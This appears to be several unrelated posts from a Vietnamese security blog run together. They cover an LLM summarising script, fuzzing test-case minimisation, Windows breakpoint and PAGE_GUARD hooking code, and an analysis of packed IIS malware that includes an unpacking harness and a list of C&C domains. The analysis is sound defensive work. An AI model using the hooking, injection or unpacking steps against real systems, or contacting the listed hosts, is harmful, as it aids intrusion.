76
# Dependencies: openai python-dotenv

import os
import argparse
from openai import OpenAI
from dotenv import load_dotenv
from datetime import datetime

# Load environment variables from .env file
load_dotenv()

selected_model = "openai/gpt-5"
input_token_price = 1.5/1000  # Example price per 1K tokens for the selected model
output_token_price = 10/1000  # Example price per 1K tokens for the selected model

system_prompt = open("system_prompt.txt", "r", encoding='utf-8').read()

def summarize_text(client, text_content, model=selected_model, temperature=0.7):
    """
    Summarizes the given text using the specified model.
    """

    try:
        response = client.chat.completions.create(
            model=model,
            messages=[
                {"role": "system", "content": system_prompt},
                {"role": "user", "content": text_content}
            ],
            temperature=temperature,
        )
        summary = response.choices[0].message.content
        usage = response.usage
        return summary, usage
    except Exception as e:
        print(f"An error occurred: {e}")
        return None, None

def main():
    parser = argparse.ArgumentParser(description="Summarize text file using AI.")
    parser.add_argument("input_file", type=str, help="Path to the transcript .txt file.")
    parser.add_argument("output_file", type=str, help="Path to the output file.")
    args = parser.parse_args()

    input_file = args.input_file
    output_file = args.output_file

    # It's recommended to set the API key in an environment variable `API_KEY`
    api_key = os.getenv("API_KEY")
    if not api_key:
        print("Error: API_KEY environment variable not set.")
        print("Please create a .env file and add API_KEY='your_key_here'")
        return
    base_url = os.getenv("BASE_URL", "https://openrouter.ai/api/v1") # set OpenAI key/openrouter

    client = OpenAI(
        base_url=base_url,
        api_key=api_key,
    )
    with open(input_file, 'r', encoding='utf-8') as f:
        print(f"Processing file: {input_file}")
        content = f.read()
        summary, usage = summarize_text(client, content)
        if summary and usage:
            with open(output_file, 'w', encoding='utf-8') as f:
                f.write(summary)
                print(f"Successfully summarized and saved to {output_file}")
            # Calculate cost (example pricing, replace with actual if known)
            prompt_cost = (usage.prompt_tokens / 1000) * input_token_price
            completion_cost = (usage.completion_tokens / 1000) * output_token_price
            total_cost = prompt_cost + completion_cost
            print(f"{datetime.now().strftime('%y-%m-%d %a %H:%M:%S')} File: {input_file}, Tokens: {usage.total_tokens}, Cost: ${total_cost:.6f}\n")


if __name__ == "__main__":
    main()

Thực hành với một video bất kỳ

Tôi chọn ngẫu nhiên một video nào đó: Impostor Syndrome - Hacking Apple MDMs Using Rogue Device Enrolments. Đây là bài trình bày của kỹ sư bảo mật Marcell Molnár.

Sau khi tải transcript về (rất tuyệt là youtube có luôn tính năng này), tôi thử tóm tắt toàn bộ video, bằng Claude sonnet 4.5, và kết quả khá mĩ mãn.

1
2
3
4
5
Context Length	30.2k / 1.0m
Tokens	↑ 66.4k  ↓ 6.8k
Cache	36.8k
API Cost	$0.22
Size	61.7 kB

Đây là kết quả

Bảo mật macOS MDM: Lỗ hổng enrollment dựa trên serial number

Kết luận

Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với cách viết prompt cho AI. AI rất thông minh, nhưng nếu dùng đúng prompt thì AI vừa thông minh vừa được việc. Chúc các bạn thành công./.

Tôi đã từng có một thời gian dài làm việc trong lĩnh vực tìm và phát hiện lỗ hổng phần mềm, cái nghề được gọi với cái tên khá lạ tai: vulnerability researcher. Công việc này đòi hỏi khá nhiều kỹ năng máy tính chuyên sâu. Trong bài viết này, tôi sẽ mô tả cách tôi sử dụng toán để tối ưu các testcase khi nghiên cứu các lỗ hổng. Tôi đã ứng dụng thuật toán này trong khá nhiều case khác nhau, đặc biệt là khi tôi phát hiện lỗ hổng CVE-2019-1208 | VBScript Remote Code Execution Vulnerability.

Cần lưu ý rằng:

• Tôi có một hệ thống sinh testcase tự động với thuật toán khá đặc biệt của tôi. Tôi sẽ không trình bày nó ở đây.
• Khái niệm đoạn mã có thể bao gồm 1 dòng cho tới k dòng.
• Thuật toán này sinh ra các đoạn mã có xác suất gây lỗi cho chương trình.
• Các đoạn mã sinh ra không phụ thuộc vào nhau. Xác suất một dòng code gây lỗi (crash) độc lập với các dòng khác. Đây là điều kiện quan trọng.

Vấn đề gặp phải

Trong quá trình tìm và phân tích mã, tôi gặp các vấn đề như sau:

• Số lượng testcase: Con số này không phải là 1 hoặc 2 để tôi có thể làm bằng tay.
• Thời gian thực thi 1 testcase lâu.
• Thời gian phân tích 1 testcase rất lâu khi phân tích bằng tay.
  • Kích thước một testcase lớn (≈ hàng nghìn đoạn mã)

Tôi biết chắc chắn đã tìm ra lỗ hổng nhưng

• Cụ thể là đoạn mã nào gây lỗi thì tôi không thể biết.
• Tôi hạn chế về mặt thời gian do tôi phải thực hiện dự án khác của công ty, không thể để 100% thời gian cho lỗ hổng này.
• Tôi phải chạy đua với các researcher khác.

Tôi mong muốn có 1 hệ thống:

• Tự động sinh testcase và tìm lỗi (Đã có)
• Tự động tối ưu testcase và phân tích lỗi (Cần xây dựng)
• Tự động phân tích lỗi, điền form cần thiết, đánh giá các khả năng khai thác và độ nguy hiểm.

Dựa vào tất cả các mong muốn trên, tôi nghĩ đến một phương pháp để tối ưu testcase tự động, tốc độ cao và chính xác. Tôi nhớ đến các bài toán về xác suất đã được dạy khi đi học.

Một số điểm cần lưu ý:

• Xác định 2 testcase trùng nhau
• Xác định số tối ưu khi thực hiện.

Các testcase được tính là trùng nhau khi:

• Trạng thái crash tại cùng địa chỉ EIP/RIP
• Trạng thái Stack của chương trình khi crash trùng nhau
• Một số giá trị của thanh ghi trùng nhau

Giả sử: Các đoạn code không có sự liên hệ với nhau trong quá trình thực thi

Nên: Xác suất một đoạn code gây crash độc lập với các đoạn khác.

Đây là giả thiết của tôi. Giả thiết này của tôi luôn đúng do tôi tự sinh các testcase và kiểm soát được đầu ra của chúng.

Ta có phương pháp tối ưu testcase đơn giản, thông qua 3 bước sau:

• Xóa bỏ lần lượt các đoạn trong testcase ban đầu nhằm sinh testcase mới
• Test thử với chương trình
• Chỉ giữ lại các testcase có kích thước nhỏ, trùng với testcase ban đầu

Cần phải xóa bao nhiêu đoạn trong testcase?

• Số đoạn xóa đi phải đủ nhỏ để xác suất có testcase trùng là cao nhất. Hiển nhiên rằng nếu các bạn xóa càng ít đoạn, thì xác suất xóa phải đoạn không liên quan càng cao, testcase càng có xác suất lớn để trùng.
• Số đoạn xóa đi phải đủ lớn để giảm thời gian tối ưu. Hiển nhiên rằng nếu càng xóa nhiều đoạn, testcase càng nhỏ.

Con số bao nhiêu là hợp lý????

Giả sử cắt bỏ x đoạn mã trong testcase ban đầu (có N đoạn mã):

Xác suất để cắt bỏ 1 đoạn mã nhưng vẫn được testcase trùng ≈ 100%

Xác suất cắt bỏ đoạn mã thứ 2 nhưng vẫn được testcase trùng (1 – 1/N)

Xác suất cắt bỏ đoạn mã thứ 3 nhưng vẫn được testcase trùng (1 – 2/N)

…

Xác suất cắt bỏ đoạn mã thứ x nhưng vẫn được testcase trùng (1 – (x-1)/N)

Xác suất để cắt bỏ x đoạn mã nhưng vẫn được testcase trùng

Rõ ràng, đây là một phương trình khá khó giải và tôi cũng không phải người giỏi toán để đưa ra đáp án chính xác. Chúng ta lại dùng các công thức ước lượng được mô tả trong sách giáo khoa: Công thức xấp xỉ Taylor

Tiếp tục:

Nói cách khác, với N là số đoạn code, p là xác suất được lựa chọn, thì chúng ta có x là số đoạn code cần chọn ngẫu nhiên để testcase mới trùng với testcase cũ.

Nếu chúng ta giả định p = 0.5 = 50%, thay thế vào công thức tính xác suất ban đầu, ta có được công thức cuối cùng:

hay nói cách khác, x xấp xỉ bằng 1.17741*sqrt(N), có thể coi là sqrt(N).

Như vậy, nếu chúng ta cắt đi sqrt(N) đoạn mã trong N đoạn mã, thì xác suất xảy ra testcase trùng sẽ lớn hơn 50%. Độ phức tạp thuật toán là O(n). Do số lượng đoạn được cắt đi lớn khi N lớn, tốc độ hội tụ của thuật toán này được cải thiện đáng kể so với việc tối ưu tuần tự. Một kết luận rất ngắn và đơn giản phải không?

Nếu chúng ta chọn N là 3000 đoạn mã.

Trục Y là số đoạn mã được loại bỏ.

Trục X là xác suất xảy ra trùng nhau

Kết luận

Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với môn toán cũng như phương pháp ứng dụng các bài toán “ngày xửa ngày xưa” vào các vấn đề trong công việc hiện tại. Nét đẹp của toán học sẽ chỉ phát huy khi chúng được đặt vào đúng tình huống cụ thể. Đừng để các bài toán của các bạn chỉ nằm trên giấy./.

Xin chào tất cả các bạn độc giả thân mến!

Tôi viết bài viết này với mong muốn có thể đóng góp một chút công sức của mình cho cộng đồng an toàn thông tin Việt Nam. Tôi cũng mong muốn các bạn có thể đóng góp cho cộng đồng giống như tôi, nhưng bằng vật chất: Quỹ Cơm có thịt http://tnvc.vn/ đang cần sự giúp đỡ của cộng đồng hơn ai hết. Số tiền ủng hộ từ bài viết trước đã đủ cho develbranch.com duy trì mọi thứ trong năm. Quỹ cơm có thịt cần nhiều hơn develbranch. Đúng như tên gọi của nó, Cơm có thịt đem đến niềm vui, hạnh phúc với các em nhỏ vùng cao ngoan hiền, đang sống ở những nơi nghèo khó, bằng những đóng góp nho nhỏ - ít thôi nhưng đều đặn. Tôi rất thích câu nói này của ông Trần Đăng Tuấn: “Nếu bạn đồng hành cùng Cơm Có Thịt, thì đó chỉ là do mệnh lệnh từ trái tim của bạn”. Nếu có thể được, tôi mong các bạn hãy ủng hộ trực tiếp cho Quỹ (đừng trung gian qua tôi).

Giới thiệu

Hooking có lẽ không còn xa lạ với nhiều người làm trong lĩnh vực phần mềm nói chung và an toàn thông tin nói riêng. Hiểu theo cách đơn giản: Hooking là một phương pháp, hoặc 1 cách làm thay đổi luồng hoạt động của chương trình. Mục đích của việc thay đổi này có thể để ghi log, đánh dấu luồng hoạt động hoặc kiểm soát input cũng như output của một hàm, một đoạn mã hoặc một lệnh bất kì trong chương trình.

Trong bài viết này, tôi sẽ viết về kĩ thuật hooking trên nền tảng Microsoft Windows.

Ví dụ: Chúng ta có một hàm đơn giản sau: Hàm này làm nhiệm vụ cộng 2 số.

1
2
3
int add(int a, int b) {
	return a + b;
}

Khi biên dịch ra mã máy, mã chương trình có thể giống như sau (các mã khác nhau phụ thuộc nhiều vào trình biên dịch). Trong ví dụ này, tôi giả định tôi biên dịch chương trình bằng trình biên dịch 32bit:

Nếu biên dịch tối ưu, có thể viết như sau:

1
2
3
mov  eax, dword ptr [esp + 4] ;  first parameter
add  eax, dword ptr [esp + 8] ;  second parameter
ret

Hoặc tường minh hơn, chúng ta viết:

1
2
3
4
5
6
7
0| mov  edi, edi
1| push ebp 
2| mov  ebp, esp
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret

Tình huống 1: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 2.

Tình huống 2: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output, chúng ta cần đặt 1 lệnh kiểm tra ở dòng 5

Phương pháp hook thường thấy nhất là chúng ta sẽ thiết lập 1 lệnh nhảy không điều kiện (JMP) tới đoạn code chứa các lệnh kiểm tra. Sau khi thực hiện xong đoạn code mới này, chúng ta sẽ thực hiện nhảy không điều kiện 1 lần nữa về đoạn code ban đầu.

Tình huống 1: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu input: Đoạn code trên cần bị thay đổi thành đoạn code dưới đây

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0| jmp  CHECKING_PARAMETER
3| ADD_NUMBERS:
3| mov  eax, dword ptr [ebp +  8] ;  first parameter
4| add  eax, dword ptr [ebp + 12] ;  second parameter
5| pop  ebp
6| ret
7|
8| CHECKING_PARAMETER:
   ;; kiểm tra nội dung 2 tham số ở đây
   ;  Thực thi các lệnh ban đầu, giống như chưa bị Hook
   mov  edi, edi
   push ebp 
   mov  ebp, esp
9| jmp ADD_NUMBERS

Tình huống 2: Chúng ta muốn kiểm tra hoặc thay đổi dữ liệu output:

1
2
3
4
5
6
7
8
9
10
11
12
13
 0| mov  edi, edi
 1| push ebp 
 2| mov  ebp, esp
 3| mov  eax, dword ptr [ebp +  8] ;  first parameter
 4| add  eax, dword ptr [ebp + 12] ;  second parameter
 5| pop  ebp
 6| JMP  CHECK_RESULT 
 7|
 8|
 9| CHECK_RESULT:
10| ;; Kiểm tra dữ kiệu trả về ( Nội dung thanh ghi eax )
    ;; Thực thi các lệnh ban đầu, giống như chưa bị Hook
11|	ret

Rõ ràng, trong cả hai tình huống trên, chúng ta cần thay đổi đáng kể đoạn code ban đầu, để có thể thêm các lệnh nhảy không điều kiện nhằm chuyển hướng thực thi và làm nhiệm vụ mà chúng ta cần. Câu hỏi đặt ra:

• Nếu đoạn code quá nhỏ, không đủ cho một lệnh JMP thì sao?
• Trong trường hợp đoạn code bị kiểm tra để phát hiện sự thay đổi thì sao? Ví dụ đoạn code bị check CRC liên tục?

Để giải quyết hai vấn đề này, tôi sẽ trình bày hai phương pháp dưới đây.

Breakpoint hooking

Đối với các đoạn code nhỏ, ví dụ các block code chỉ có 1 tới 4 bytes, chúng ta không có đủ chỗ cho một lệnh nhảy. Một lệnh JMP không điều kiện cần 5 bytes. Chúng ta có thể nghĩ tới phương pháp Breakpoint hooking. Cách thức thực hiện như sau:

• Inject một DLL vào không gian bộ nhớ của tiến trình.
• Cài đặt một Vector xử lý Exception (Exception handler)
• Chuyển hướng thực thi bên trong Exception handler
• Inject ngắt int3 (opcode là 0xCC, độ dài chỉ 1 byte) vào vị trí cần hook. Hoặc dùng các hàm sau để inject code: OpenProcess, VirtualProtectEx, WriteProcessMemory. Đây là các thao tác đơn giản, tôi xin dành cho bạn đọc.

Trong quá trình thực thi, khi thực thi đến lệnh int 3, hệ thống sẽ phát sinh ra exception. Mã của exception này là STATUS_BREAKPOINT. Bên trong hàm handler, chúng ta cần kiểm tra giá trị của thanh ghi EIP/RIP. Nếu giá trị này là hàm đang cần hook, chúng ta gán lại giá trị mới cho thanh ghi EIP/RIP. Sau khi thực thi xong, chúng ta cần khôi phục lại ngữ cảnh cũ: Nội dung các thanh ghi và thực thi lệnh cũ. Nên nhớ rằng trước khi patch int3, chúng ta phải lưu lại toàn bộ instruction cũ, để sau này còn dùng lại khi thực thi chương trình.

Hàm xử lý:

1
2
3
4
5
6
7
8
9
10
11
12
13
LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
	{
		if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT) // This is going to return true whenever any of our int3 is executed.
		{
			DWORD dwNewLocation = GetNewLocation(pExceptionInfo->ContextRecord->Eip); // EIP contains the current location
			if (dwNewLocation != (DWORD_PTR)-1) // Here we check to see if the instruction pointer is at the place where we want to hook.
			{
				pExceptionInfo->ContextRecord->Eip = dwNewLocation;
				return EXCEPTION_CONTINUE_EXECUTION;
			}
		}
		return EXCEPTION_CONTINUE_SEARCH;
	}

Cài đặt handler:

1
2
PVOID g_ExceptionHandle = NULL;
g_ExceptionHandle = AddVectoredExceptionHandler(1, HookExceptionFilter);

Remove Handler:

1
RemoveVectoredExceptionHandler(g_ExceptionHandle);

PageGuard Hooking

Đối với các đoạn code bị check CRC liên tục, chúng ta sẽ không được phép thay đổi một byte nào trong đoạn code gốc. Phương pháp này thực hiện như sau:

• Inject một DLL vào không gian bộ nhớ của tiến trình.
• Cài đặt một Vector xử lý Exception (Exception handler).
• Đổi thuộc tính của page chứa vùng code cần hook thành PAGE_GUARD hoặc PAGE_NOACCESS. Dùng VirtualProtect
• Chuyển hướng thực thi bên trong Exception handler

Bất khi nào code được thực thi trong vùng nhớ bị đánh dấu là PAGE_GUARD, hệ thống sẽ sinh ra một exception. Bên trong hàm kiểm tra Exception handler, chúng ta cần kiểm tra địa chỉ đang thực thi. Nếu địa chỉ đó là địa chỉ hàm cần hook, chúng ta chuyển hướng nó tới hàm đích.

Cần lưu ý:

1. Thuộc tính PAGE_GUARD sẽ tự động bị xóa khi phát sinh exception. Do đó để tiếp tục hook, chúng ta cần thiết lập lại thuộc tính này cho vùng nhớ đó.
2. Có thể dùng thuộc tính PAGE_NOACCESS. Hệ thống sẽ sinh STATUS_ACCESS_VIOLATION khi chúng ta thực thi đoạn code.
3. STATUS_SINGLE_STEP Đây không hẳn là một lỗi, để có thể coi là một exception. STATUS_SINGLE_STEP được sinh ra khi một lệnh được thực thi (giống như đang bị debug).

Tại sao chúng ta cần STATUS_SINGLE_STEP?

Một hàm sẽ nằm trong 1 page, nhưng điểm bắt đầu của hàm thì chưa hẳn là nằm ở đầu page. Trong trường hợp một đoạn code - không phải đoạn code cần hook - nhưng nằm cùng page với đoạn code cần hook thực thi, nó cũng sinh ra exception. Rõ ràng đây không phải là điều chúng ta mong muốn. Chúng ta cần là thiết lập lại thuộc tính PAGE_GUARD hoặc PAGE_NOACCESS như trước. Vấn đề lại tiếp tục xảy ra, đoạn code sinh exception liên tục nhưng không thực thi. Để giải quyết, chúng ta cần bật cờ STATUS_SINGLE_STEP. Lúc này, chương trình sẽ tiếp tục thực thi nhưng sẽ liên tục gọi vào hàm handler của chúng ta với mã của exception là STATUS_SINGLE_STEP. Chúng ta sẽ kiểm tra giá trị của thanh ghi EIP, nếu đúng hàm cần hook thì sẽ thiết lập thuộc tính PAGE_GUARD hoặc PAGE_NOACCESS như trước.

Code và hình vẽ tôi tham khảo ở https://guidedhacking.com/threads/veh-hooking-aka-pageguard-hooking-an-in-depth-look.7164/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
DWORD dwOld;
VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &dwOld); // This sets the protection for whatever memory page that 0x08048fb7 is located in to PAGE_EXECUTE & PAGE_GUARD.
                                                                          // Which is going to cause an exception for any address accessed in that memory page, including the one we're after.

AddVectoredExceptionHandler(1, HookExceptionFilter); // Registers our vectored exception handler which is going to catch the exceptions thrown.
 
LONG CALLBACK HookExceptionFilter(__in PEXCEPTION_POINTERS pExceptionInfo)
{
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) // This is going to return true whenever any of our PAGE_GUARD'ed memory page is accessed.
    {
        if (pExceptionInfo->ContextRecord->Eip == 0x08048fb7) // Here we check to see if the instruction pointer is at the place where we want to hook.
        {
            dwJmpBack = (DWORD*)(pExceptionInfo->ContextRecord->Esp + 0); // Find the return address for the JMP/EIP back into the target program's code.
            dwJmpBack = (DWORD)pExceptionInfo->ContextRecord->Eip + 5; // or just skip X number of bytes.
            pExceptionInfo->ContextRecord->Eip = (DWORD)hkFunction; // Point EIP to hook handle.
        }
     
        pExceptionInfo->ContextRecord->EFlags |= 0x100; //Set single step flag, causing only one line of code to be executed and then throwing the STATUS_SINGLE_STEP exception.
     
        return EXCEPTION_CONTINUE_EXECUTION; // When we return to the page, it will no longer be PAGE_GUARD'ed, so we rely on single stepping to re-apply it. (If we re-applied it here, we'd never move forward.)
    }
     
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) // This is now going to return true on the next line of execution within our page, where we re-apply PAGE_GUARD and repeat.
    {
        DWORD dwOld;
        VirtualProtect((void*)0x08048fb7, 1, PAGE_EXECUTE | PAGE_GUARD, &dwOld);
     
        return EXCEPTION_CONTINUE_EXECUTION;
    }
     
    return EXCEPTION_CONTINUE_SEARCH;
}

Kết luận

Qua bài viết vừa rồi, tôi hi vọng rằng các bạn có thể thực hiện hook một số hàm đặc biệt các hàm có kích thước nhỏ, hoặc không thể hook tường minh:

• Xác định vị trí cần hook
• Cài đặt exception handle và đổi thanh ghi EIP/RIP thành địa chỉ mới.
• Inject ngắt 3 hoặc thay đổi thuộc tính của page thành PAGE_GUARD
• Xử lý chuyển hướng bên trong hàm handler

Introduction

I get this malware sample from my friend. I will show my experience with packers and manual unpacking. All about behaviors of malware, I will present in a new article.

1 minute for advertisement: If you have a similar sample, you may contact me by sending an email to contact[at]develbranch.com or my fanpage fb.com/develbranch. I will help you and charge in case of necessity. If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal

Environment

• Windows 7 64 bit virtual machine. You can use windows 10.
• Hex-Rays IDA: https://www.hex-rays.com/
• A debugger: I love x64dbg.
• C++ compiler: I use Microsoft Visual Studio 2015. https://visualstudio.microsoft.com/
• CFF Explorer: Explorer Suite

Behavioral analysis

In all steps of malware analysis, we have to perform behavioral analysis to predict malicious actions partly. To do this, we need:

• The executable files of the malicious software and/or commands to run malicious code.
• Build exactly the environment where the malicious code will execute. For example: If the malicious code only runs on the windows server then you will never analyze the behavior if your environment is windows home.

We just have 4 files, no more clue, and we can not execute malware in our system. We need to guess by ourselves!

Detailed analysis

I noticed that the cachuri.dll file was signed by Microsoft. I completely ignored this file.

This file is a module of IIS cache. It is not a default installed module:

cachuri.dll imports functions from iisutil2.dll, iisutil2.dll does not have a valid signature.

The other files are not executable files at all. So we can guess: cachuri.dll will be loaded by the IIS server (inetsrv). After loading the cachuri.dll, malicious iisutil2.dll is also loaded into the memory region of the process. iisutil2.dll will probably use the remaining two files for some purpose. At this step, we still haven’t run malicious code, it’s just a guess.

Analyze iisutil2.dll

This file is obfuscated and it makes me be confused. This is the flow of program:

Find functions: CreateFileW, ReadFile, RtlDecompressBuffer

Open iisexpressshim.sdb and read:

Decrypt code by using XOR

There is the structure of decrypted data:

• the first DWORD: The size of uncompressed data
• Compressed data

After that, the program uses RtlDecompressBuffer to decompress data. This is the first layer of packer.

There is decryption code. Luckily, we have lznt1 decompressor from Google (https://twitter.com/nullandnull/status/772989022079586304). https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'''Decrypt iisexpressshim.sdb'''
import sys
import lznt1

def decrypt(buf):
	out = ''
	index = 0
	for c in buf:
		out += chr(ord(c) ^ (index % 0xff))
		index += 1
	return out

cdata = decrypt(open(sys.argv[1], 'rb').read())
open(sys.argv[1]+'.decrypted', 'wb').write(lznt1.decompress_data(cdata[4:]))

Result

I notice that VirtualSize, RawSize and RawAddress are equal to 0 . We can calculate all VirtualSize, RawSize and RawAddress by using VirtualAddress.

• VirtualSize = RawSize = (VirtualAddress of the next section - VirtualAddress of this section)
• RawAddress = VirtualAddress

After fixing it, we can load this file to IDA and check it. This is the main flow of this program: to replace export table of cachuri.dll with new malicious export table.

I try to debug but I don’t have an actor to trigger malicious code.

Analyze iisexpressshim.sdb

I analyze DllGetClassObject and notice that malware uses directory name as a CLSID.

To create a malicious object, we need a directory with a CLSID. There are main steps:

• Create a directory and the name of directory is {CB8A1CEF-292D-421E-AC71-88451B5C7F2B}. I choose it randomly.
• Use this code to create an object.

   CLSID    clsid_malware;
   LPVOID   ppv = NULL;
   HMODULE h = LoadLibraryA("cachuri.dll");
   DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
   HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
   hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
   printf("ppv = %p\n", ppv);
  

  We have a CMalware2 object. I try to analyze all methods of this object and I realize that CMalware2 object is a base object. If I call QueryInterface with {839D7762-5121-4009-9234-4F0D19394F04} , I will create a real malicious object.

This function will decrypt logo.png and load another PE file to memory:

int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &clsid_malware);

	IMalware *malware_obj;
	hr = pMalware->QueryInterface(clsid_malware, (LPVOID*) &malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}

• Malicious code will allocate a memory region via (VirtualAlloc)
• Decrypt logo.png
• Fixup relocation
• Resolve IAT.
• I use pe_unmapper to dump malicious code to file (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)

Now, we have logo.dll

Analyze logo.dll

This DLL has a exported function: DllEntry.

Pseudocode:

 char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}

After analyzing, I realize that this is another PE loader:

• Allocate memory and decrypt the embedded PE file.
• Resolve Import Address Table
• Execute malicious code at entry point

This loader removes all important fields in PE header. We can not rebuild PE file without header. I use debugger to trace and find the address of entry-point and dump memory to disk. This loader allocates 0x899400 bytes for new PE file

this loader skips 0x4E0000 bytes. I don’t know why.

As I say, all important fields are removed.

Rebuild

We have: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.

You can consider that this PE file has only 1 section. So we create section header:

NumberOfSections = 1

To resolve and fix IAT, I use Scylla : https://github.com/NtQuery/Scylla

Scylla is a great tool. I can recover all entries in IAT. We need to use Disassemble function to resolve APIs if Scylla can not resolve them.

Remember:

• If malicious code uses GetModuleHandle function with NULL parameter (both Ansi and Unicode version), this function MUST return 0xCE0000.

Correct Import Address Table

Finally, I rebuild and rebase this file

Rebase PE file:

This is the last layer.

Bonus: C&C Server

1
2
3
4
5
6
7
8
cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531

Donation

If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal. Thank you so much! https://paypal.me/develbranch

Tôi tình cờ nhận được mẫu này từ một người quen, trong khi đó, người quen của tôi lại nhận được mẫu này từ một người quen khác, cứ thế,… Trong giới làm an ninh mạng ở Việt Nam hay có kiểu chia sẻ đơn giản như thế thôi. Ai cũng biết việc chia sẻ cho những người khác là cần thiết vì nó giúp cho chúng ta tự bảo vệ nhau, tự phát hiện các mối nguy hại từ bên ngoài. Nhưng ai chia sẻ xong cũng nói một câu: “Đừng bảo với ai là em gửi anh nhé!”, “Đừng share ai nữa nhé!”,…. Tôi cũng không rõ lắm họ muốn bí mật nguồn mẫu làm gì. Có lẽ không ai muốn người khác biết mình bị tấn công, sẽ ảnh hưởng đến công việc kinh doanh. Tôi tôn trọng các quyết định của người đã chia sẻ cho tôi. Tôi sẽ viết phương pháp tôi phân tích mẫu này để các bạn nếu có gặp một mẫu tương tự sẽ biết cách xử lý. Tôi không rõ mẫu mã độc này do nhóm nào viết, tuy nhiên phải khẳng định rằng phân tích không phải dễ.

Trong bài viết này, tôi sẽ trình bày phương pháp tôi vượt qua các lớp bảo vệ file thực thi của mã độc, phần còn lại là các hành vi của mã độc có lẽ cũng không cần thiết. Trong trường hợp các bạn muốn biết các hành vi của mẫu này, có thể đợi bài viết tiếp theo của tôi

1 phút cho quảng cáo: Nếu các bạn gặp những mẫu malware tương tự, các bạn hoàn toàn có thể liên lạc với tôi qua địa chỉ contact[at]develbranch.com hoặc facebook fanpage fb.com/develbranch và tôi sẽ giúp các bạn phân tích các mẫu mã độc. Tôi sẽ tính phí trong trường hợp cần thiết. Nếu thấy bài viết của tôi có giá trị, các bạn có thể chuyển khoản cho tôi một chút tiền để tôi có động lực viết các bài viết tiếp theo (hãy liên hệ với fanpage của tôi).

Môi trường thực hiện

• Máy ảo windows 7 64 bit. Các bạn có thể sử dụng windows 10.
• Một chương trình debugger trên windows: Tôi thích dùng x64dbg.
• Một chương trình C++ compiler trên windows: Tôi thích dùng Microsoft Visual Studio 2015. https://visualstudio.microsoft.com/
• CFF Explorer: Explorer Suite

Phân tích theo hành vi

Trong tất cả các bước phân tích mã độc chuẩn, chúng ta đều phải thực hiện phân tích theo hành vi để phần nào đoán được hành động mà mã độc sẽ thực hiện và chúng ta sẽ đưa ra phương án phân tích phù hợp. Để thực hiện việc này chúng ta cần:

• File thực thi của mã độc, hoặc là một lệnh để chạy mã độc.
• Dựng được chính xác môi trường mà mã độc sẽ thực thi. Ví dụ: Nếu mã độc chỉ chạy trên windows server thì các bạn sẽ không bao giờ phân tích theo hành vi nếu môi trường của các bạn là windows home.

Người bạn chỉ đưa tôi 4 file như trên hình, không thông tin, không mô tả gì thêm. Trong quá trình phân tích tôi cũng không có thêm một chút manh mối nào ngoại trừ đường dẫn của file. Với bấy nhiêu thông tin, chúng ta không thể thực thi được mã độc trên môi trường của mình. Do vậy sẽ không có phân tích theo hành vi. Chúng ta cần đoán theo cách của mình! Guess it your way!

Phân tích chi tiết

Trong số 4 files nhận được, tôi nhận thấy file cachuri.dll có chữ kí của Microsoft. Tôi hoàn toàn bỏ qua file này

File này là file xử lý cache trên server windows. Đây không phải module cài đặt mặc định của IIS server:

File cachuri.dll sử dụng các hàm trong iisutil2.dll, không có chữ ký hợp lệ

